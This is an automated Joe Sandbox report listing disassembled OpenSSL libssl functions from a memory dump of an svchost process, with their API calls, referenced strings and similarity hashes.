check_suiteb_cipher_list, xrefs: 00007FFBAB41EB35
SUITEB128, xrefs: 00007FFBAB41EABB
SUITEB192, xrefs: 00007FFBAB41EAE9

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: strncmp$R_newR_set_debugR_set_error
String ID: ECDHE-ECDSA-AES128-GCM-SHA256$ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384$ECDHE-ECDSA-AES256-GCM-SHA384$SUITEB128$SUITEB128C2$SUITEB128ONLY$SUITEB192$check_suiteb_cipher_list$ssl\ssl_ciph.c
API String ID: 1930259724-2296690422
Opcode ID: 2bf9c61d0cf00fcf681b01301d94d4c4e35cb472c0d7981903dc81469af40b39
Instruction ID: 1e3fe5f7b5d91a1057de5f9dfb70b4eb9bf1348bda0ea3ec32066af222e428e7
Opcode Fuzzy Hash: 2bf9c61d0cf00fcf681b01301d94d4c4e35cb472c0d7981903dc81469af40b39
Instruction Fuzzy Hash: A64171B6E4AA069AE712CB35F8513783BA4EB44784F44C43ADE2E836B1DF2CE554C741

Function 00007FFBAB430210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,00007FFBAB412DCB), ref: 00007FFBAB43024B
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,00007FFBAB412DCB), ref: 00007FFBAB430263
ERR_set_error.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,00007FFBAB412DCB), ref: 00007FFBAB430274
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB43029B
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4302B3
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB4302C4

Strings

ssl_write_internal, xrefs: 00007FFBAB430250, 00007FFBAB4302A0, 00007FFBAB4302E8, 00007FFBAB430340
ssl\ssl_lib.c, xrefs: 00007FFBAB43025C, 00007FFBAB4302AC, 00007FFBAB4302F4, 00007FFBAB43034C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: ssl\ssl_lib.c$ssl_write_internal
API String ID: 1552677711-1479096089
Opcode ID: 0f7e84e985252aa8de3cc70d5b7bdf48916e1e6196117957bbcbb42a36f39f56
Instruction ID: e432cba98b643bcc00d6ded517e26c1a803b437d62fc4a196fd1ce0792c3fc35
Opcode Fuzzy Hash: 0f7e84e985252aa8de3cc70d5b7bdf48916e1e6196117957bbcbb42a36f39f56
Instruction Fuzzy Hash: 1E517272A09A4182F7529B39E4912BD6361EB54B84F548135EE6C43BFADF3CD4958B00

Function 00007FFBAB4509D0 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

OSSL_ERR_STATE_restore.LIBCRYPTO-3-X64(?,00000000,?,?,000C0103,?,00007FFBAB44F52D,?,00007FFBAB450F40), ref: 00007FFBAB450A89
ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,000C0103,?,00007FFBAB44F52D,?,00007FFBAB450F40), ref: 00007FFBAB450AAC
ERR_set_debug.LIBCRYPTO-3-X64(?,00000000,?,?,000C0103,?,00007FFBAB44F52D,?,00007FFBAB450F40), ref: 00007FFBAB450AC4
ERR_set_error.LIBCRYPTO-3-X64(?,00000000,?,?,000C0103,?,00007FFBAB44F52D,?,00007FFBAB450F40), ref: 00007FFBAB450B3C
ERR_new.LIBCRYPTO-3-X64(?,00000000,?,?,000C0103,?,00007FFBAB44F52D,?,00007FFBAB450F40), ref: 00007FFBAB450B43
ERR_set_debug.LIBCRYPTO-3-X64(?,00000000,?,?,000C0103,?,00007FFBAB44F52D,?,00007FFBAB450F40), ref: 00007FFBAB450B5B
ERR_set_error.LIBCRYPTO-3-X64(?,00000000,?,?,000C0103,?,00007FFBAB44F52D,?,00007FFBAB450F40), ref: 00007FFBAB450B96
ERR_set_debug.LIBCRYPTO-3-X64(?,00000000,?,?,000C0103,?,00007FFBAB44F52D,?,00007FFBAB450F40), ref: 00007FFBAB450BC7
OSSL_ERR_STATE_new.LIBCRYPTO-3-X64(?,00000000,?,?,000C0103,?,00007FFBAB44F52D,?,00007FFBAB450F40), ref: 00007FFBAB450BD8
OSSL_ERR_STATE_save.LIBCRYPTO-3-X64(?,00000000,?,?,000C0103,?,00007FFBAB44F52D,?,00007FFBAB450F40), ref: 00007FFBAB450BEC

Strings

QUIC error code: 0x%llx%s%s%s (triggered by frame type: 0x%llx%s%s%s), reason: "%s", xrefs: 00007FFBAB450AD8
ossl_quic_channel_raise_protocol_error_loc, xrefs: 00007FFBAB450AB1, 00007FFBAB450B48
ssl\quic\quic_channel.c, xrefs: 00007FFBAB450ABD, 00007FFBAB450B54
QUIC error code: 0x%llx%s%s%s, reason: "%s", xrefs: 00007FFBAB450B68

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_set_debug$R_newR_set_error$E_newE_restoreE_save
String ID: QUIC error code: 0x%llx%s%s%s (triggered by frame type: 0x%llx%s%s%s), reason: "%s"$QUIC error code: 0x%llx%s%s%s, reason: "%s"$ossl_quic_channel_raise_protocol_error_loc$ssl\quic\quic_channel.c
API String ID: 4176084029-936738589
Opcode ID: 2f5d62f6c2d42027207889810569f5974fd8bd41f677c318e6c85848605e963a
Instruction ID: fd58a20d37dcd01c952632132f99f749b49f894a1963f3d81c1c8c667fb33e4c
Opcode Fuzzy Hash: 2f5d62f6c2d42027207889810569f5974fd8bd41f677c318e6c85848605e963a
Instruction Fuzzy Hash: F15161B660EB8581EA62DB61F9507BAB3A4FB84784F048535EE9D03B69DF3CD445C700

Function 00007FFBAB492360 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 110COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB411C50: CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB411C95

ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47B727), ref: 00007FFBAB49238B
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47B727), ref: 00007FFBAB4923A3

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

OPENSSL_sk_num.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47B727), ref: 00007FFBAB4923F4
OPENSSL_sk_value.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47B727), ref: 00007FFBAB492405
i2d_X509_NAME.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47B727), ref: 00007FFBAB49241B
i2d_X509_NAME.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47B727), ref: 00007FFBAB492449
OPENSSL_sk_num.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47B727), ref: 00007FFBAB492457
ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47B727), ref: 00007FFBAB49246C
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB47B727), ref: 00007FFBAB492484

Strings

ssl\statem\statem_lib.c, xrefs: 00007FFBAB49239C, 00007FFBAB49247D, 00007FFBAB4924B3
construct_ca_names, xrefs: 00007FFBAB492390, 00007FFBAB492471, 00007FFBAB4924A7

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: L_sk_numR_newR_set_debugX509_i2d_$L_sk_valueO_zallocR_vset_error
String ID: construct_ca_names$ssl\statem\statem_lib.c
API String ID: 3967720115-3433467796
Opcode ID: 65d90259314d5bc2c3ca5da892dfad4ecb74932502eb33e23e78017f74662cba
Instruction ID: 988055b3c96940c923c5b47bff178365bb5ace16fbd8b2eb1f08fd41ce698471
Opcode Fuzzy Hash: 65d90259314d5bc2c3ca5da892dfad4ecb74932502eb33e23e78017f74662cba
Instruction Fuzzy Hash: 904182A1F0E25381F663E772E8925BD5254AF847D0F448431DE2D87BB6EE3CE5468311

Function 00007FFBAB480F10 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480F4A
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB480F62
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480FB0
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB480FC4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB480FDC
memcmp.VCRUNTIME140 ref: 00007FFBAB48101C
memcmp.VCRUNTIME140 ref: 00007FFBAB48104C
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB481074
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB481083
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB481092
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4810AA

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB480F5B, 00007FFBAB480FD5, 00007FFBAB4810A3
tls_parse_stoc_renegotiate, xrefs: 00007FFBAB480F4F, 00007FFBAB480FCE, 00007FFBAB48109C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug$memcmp
String ID: ssl\statem\extensions_clnt.c$tls_parse_stoc_renegotiate
API String ID: 4071200903-678074351
Opcode ID: 1c68670593f75e14462b4233b901ff831ffe0b28bd8abc49050f6258505b1373
Instruction ID: b0301e6940dae0b03c3bc0f64555c462347b8049eb706a6fb174c77b1fec1104
Opcode Fuzzy Hash: 1c68670593f75e14462b4233b901ff831ffe0b28bd8abc49050f6258505b1373
Instruction Fuzzy Hash: C541B3B1B1F68281EB529B71D8916BC6350EF44B84F04C432EF2D47BAADF6CE5968300

Function 00007FFBAB44DBA4 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 103COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB44E2EC
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB44E304
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB44E34F
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB44E367
OSSL_ERR_STATE_new.LIBCRYPTO-3-X64 ref: 00007FFBAB44E378
OSSL_ERR_STATE_save.LIBCRYPTO-3-X64 ref: 00007FFBAB44E38C

Strings

ORIG_DCID was not sent but is required, xrefs: 00007FFBAB44DC25
DISABLE_ACTIVE_MIGRATION appears multiple times, xrefs: 00007FFBAB44DE41
ch_on_transport_params, xrefs: 00007FFBAB44E354
ossl_quic_channel_raise_protocol_error_loc, xrefs: 00007FFBAB44E2F1
ssl\quic\quic_channel.c, xrefs: 00007FFBAB44E2FD, 00007FFBAB44E360
QUIC error code: 0x%llx%s%s%s, reason: "%s", xrefs: 00007FFBAB44E318
DISABLE_ACTIVE_MIGRATION is malformed, xrefs: 00007FFBAB44DE35

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_set_debug$E_newE_saveR_newR_set_error
String ID: DISABLE_ACTIVE_MIGRATION appears multiple times$DISABLE_ACTIVE_MIGRATION is malformed$ORIG_DCID was not sent but is required$QUIC error code: 0x%llx%s%s%s, reason: "%s"$ch_on_transport_params$ossl_quic_channel_raise_protocol_error_loc$ssl\quic\quic_channel.c
API String ID: 2363558997-1192419531
Opcode ID: 5830b729496d42124c96b86375396b27e3c5cb77b2503c8a1b9c9641ad83453c
Instruction ID: ae105b5945cbd8f7e559762043c1d2de1805ccf495c0c29c7992fdecd3dcb02b
Opcode Fuzzy Hash: 5830b729496d42124c96b86375396b27e3c5cb77b2503c8a1b9c9641ad83453c
Instruction Fuzzy Hash: C141BFB2A0EB5296FB5ADB70E4512BD63A0FB04344F448439DE6D17AA5DF3CE465C300

Function 00007FFBAB416310 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB416352
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41635E
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB416376

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4163A8
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4163C0
BIO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB416496

Strings

ssl3_digest_cached_records, xrefs: 00007FFBAB416363, 00007FFBAB4163AD, 00007FFBAB4163F3, 00007FFBAB41645A
ssl\s3_enc.c, xrefs: 00007FFBAB41636F, 00007FFBAB4163B9, 00007FFBAB4163FF, 00007FFBAB416466

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_ctrlO_freeR_vset_error
String ID: ssl3_digest_cached_records$ssl\s3_enc.c
API String ID: 2289415696-2941011472
Opcode ID: da33691dc6dd1cb9f7b7ff8dcae513d8a162f21f9c151df262fa9d1f417888f7
Instruction ID: c25e742090f6dabbeca98802372a3516c5f4d9c5946b744636ae6a211ccc6ecf
Opcode Fuzzy Hash: da33691dc6dd1cb9f7b7ff8dcae513d8a162f21f9c151df262fa9d1f417888f7
Instruction Fuzzy Hash: 794198B1E1E65291F762EB72E8527FE2350AF84B80F448432DE2D476B6EE3CE4458750

Function 00007FFBAB430B40 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64(00000000,00007FFBAB4329E3,?,-0000001F,00000000,?), ref: 00007FFBAB430B5E
ERR_set_debug.LIBCRYPTO-3-X64(00000000,00007FFBAB4329E3,?,-0000001F,00000000,?), ref: 00007FFBAB430B76
ERR_set_error.LIBCRYPTO-3-X64(00000000,00007FFBAB4329E3,?,-0000001F,00000000,?), ref: 00007FFBAB430B86
ERR_new.LIBCRYPTO-3-X64(00000000,00007FFBAB4329E3), ref: 00007FFBAB430BBC
ERR_set_debug.LIBCRYPTO-3-X64(00000000,00007FFBAB4329E3), ref: 00007FFBAB430BD4
ERR_set_error.LIBCRYPTO-3-X64(00000000,00007FFBAB4329E3), ref: 00007FFBAB430BE2

Strings

SSL_CTX_use_certificate, xrefs: 00007FFBAB430B63, 00007FFBAB430BC1
ssl\ssl_rsa.c, xrefs: 00007FFBAB430B6F, 00007FFBAB430BCD, 00007FFBAB432157
ssl_set_cert, xrefs: 00007FFBAB43214B

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: SSL_CTX_use_certificate$ssl\ssl_rsa.c$ssl_set_cert
API String ID: 1552677711-3127846650
Opcode ID: 27411270e6861773d150b3f147f4ce61720165926f59962a3fcfeb90c5a13ce7
Instruction ID: 2f64b6746154bd12cb0588c3f683b0515c7a4542bbedd21f66e07be1faec505e
Opcode Fuzzy Hash: 27411270e6861773d150b3f147f4ce61720165926f59962a3fcfeb90c5a13ce7
Instruction Fuzzy Hash: 3C31E5B6B1964282E752DB32E9422FE6361EF447C4F588431EE6C43BFADE2CE5558700

Function 00007FFBAB466EF1 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 58COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466EFB
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466F1A
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466F41
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466F50
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466F7F
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466F96
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
(transport), xrefs: 00007FFBAB466F05
Reason: , xrefs: 00007FFBAB466F46
Error Code: %llu, xrefs: 00007FFBAB466F37
Connection close, xrefs: 00007FFBAB466EF1
(app), xrefs: 00007FFBAB466F0C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: <unexpected trailing frame data skipped>$ Error Code: %llu$ Reason: $ (app)$ (transport)$Connection close
API String ID: 4098839300-216527848
Opcode ID: d7ddc8cf435bb3111548bbccbadb7f17fcf1fe5d36f9c0ed41b9eb447eb2bb56
Instruction ID: 8a6456e109500bdbf91fdeb93fde6df62c3aede6d8b22a49ced3ec4258481faa
Opcode Fuzzy Hash: d7ddc8cf435bb3111548bbccbadb7f17fcf1fe5d36f9c0ed41b9eb447eb2bb56
Instruction Fuzzy Hash: 24213AE1B4A60384FE26DB75E9512FC2BA1AF45794F44D036DE2E472B5DE3CE08A8300

Function 00007FFBAB42FBE0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

ASYNC_WAIT_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42FC3A
ASYNC_WAIT_CTX_set_callback.LIBCRYPTO-3-X64 ref: 00007FFBAB42FC66
ASYNC_start_job.LIBCRYPTO-3-X64 ref: 00007FFBAB42FC9E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42FCBD
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB42FCD5
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB42FCE6

Strings

ssl_start_async_job, xrefs: 00007FFBAB42FCC2, 00007FFBAB42FD2B
(, xrefs: 00007FFBAB42FC7F
ssl\ssl_lib.c, xrefs: 00007FFBAB42FCCE, 00007FFBAB42FD37

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: C_start_jobR_newR_set_debugR_set_errorX_newX_set_callback
String ID: ($ssl\ssl_lib.c$ssl_start_async_job
API String ID: 3907389051-658281695
Opcode ID: 0286416a0bbb87ad2c76a200c5a148f02a65b78661a6a10dd9f7a7182fca951f
Instruction ID: 2ea58d055c416f196e1c995a8c25261ef25ee752ed5715d05bcf6ec4a4e546ca
Opcode Fuzzy Hash: 0286416a0bbb87ad2c76a200c5a148f02a65b78661a6a10dd9f7a7182fca951f
Instruction Fuzzy Hash: 82416DB1A1EA8282F7629B35E4403B93290FB01798F948235ED7D876F9DF3CE4459B11

Function 00007FFBAB430C20 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

X509_new_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB430C47
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB430C56
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB430C6E
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB430C7F
d2i_X509.LIBCRYPTO-3-X64 ref: 00007FFBAB430C9E
X509_free.LIBCRYPTO-3-X64 ref: 00007FFBAB430CAD
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB430CB2
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB430CCA
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB430CDB

Strings

ssl\ssl_rsa.c, xrefs: 00007FFBAB430C67, 00007FFBAB430CC3
SSL_CTX_use_certificate_ASN1, xrefs: 00007FFBAB430C5B, 00007FFBAB430CB7

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error$X509X509_freeX509_new_exd2i_
String ID: SSL_CTX_use_certificate_ASN1$ssl\ssl_rsa.c
API String ID: 4137050946-3637493151
Opcode ID: 3fee11c779347f01daf99bb784c709729bd0efc620f5ff9e4da98003fe4d1301
Instruction ID: e45169ca9c71a3c383de4acf02b5a4d104bb144a98f6bab6b5335e150ce2c4bc
Opcode Fuzzy Hash: 3fee11c779347f01daf99bb784c709729bd0efc620f5ff9e4da98003fe4d1301
Instruction Fuzzy Hash: A6218662B6A54181E7A2E736E4822BE6350EF88780F549032FE6D837B6DE2CD549C700

Function 00007FFBAB440980 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 127COMMON

Download Yara Rule

APIs

BIO_indent.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,00000000,?,?,?,?,?,00007FFBAB43EC37), ref: 00007FFBAB4409EF
BIO_printf.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,00000000,?,?,?,?,?,00007FFBAB43EC37), ref: 00007FFBAB440A31
BIO_indent.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,00000000,?,?,?,?,?,00007FFBAB43EC37), ref: 00007FFBAB440A83
BIO_printf.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,00000000,?,?,?,?,?,00007FFBAB43EC37), ref: 00007FFBAB440ADB

Strings

Unsupported, hex dump follows:, xrefs: 00007FFBAB440FFD
%s, Length=%d, xrefs: 00007FFBAB440A27
message_seq=%d, fragment_offset=%d, fragment_length=%d, xrefs: 00007FFBAB440A8D
UNKNOWN, xrefs: 00007FFBAB440A03

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_indentO_printf
String ID: %s, Length=%d$UNKNOWN$Unsupported, hex dump follows:$message_seq=%d, fragment_offset=%d, fragment_length=%d
API String ID: 1860387303-4198474627
Opcode ID: 1ee8b2b0ac70d7455294be4b66ab1d88a777fabf19244c22c1cfcb7fd7e4899a
Instruction ID: 0edbfc3b598cedccd92fe5aaedbb1c4a15615464fec4d77824d456bb84515cf2
Opcode Fuzzy Hash: 1ee8b2b0ac70d7455294be4b66ab1d88a777fabf19244c22c1cfcb7fd7e4899a
Instruction Fuzzy Hash: FE5102B27181E146EA26CB26E494A6D7FA0EB85790F04C135EEBD43BA2CE3CC156C700

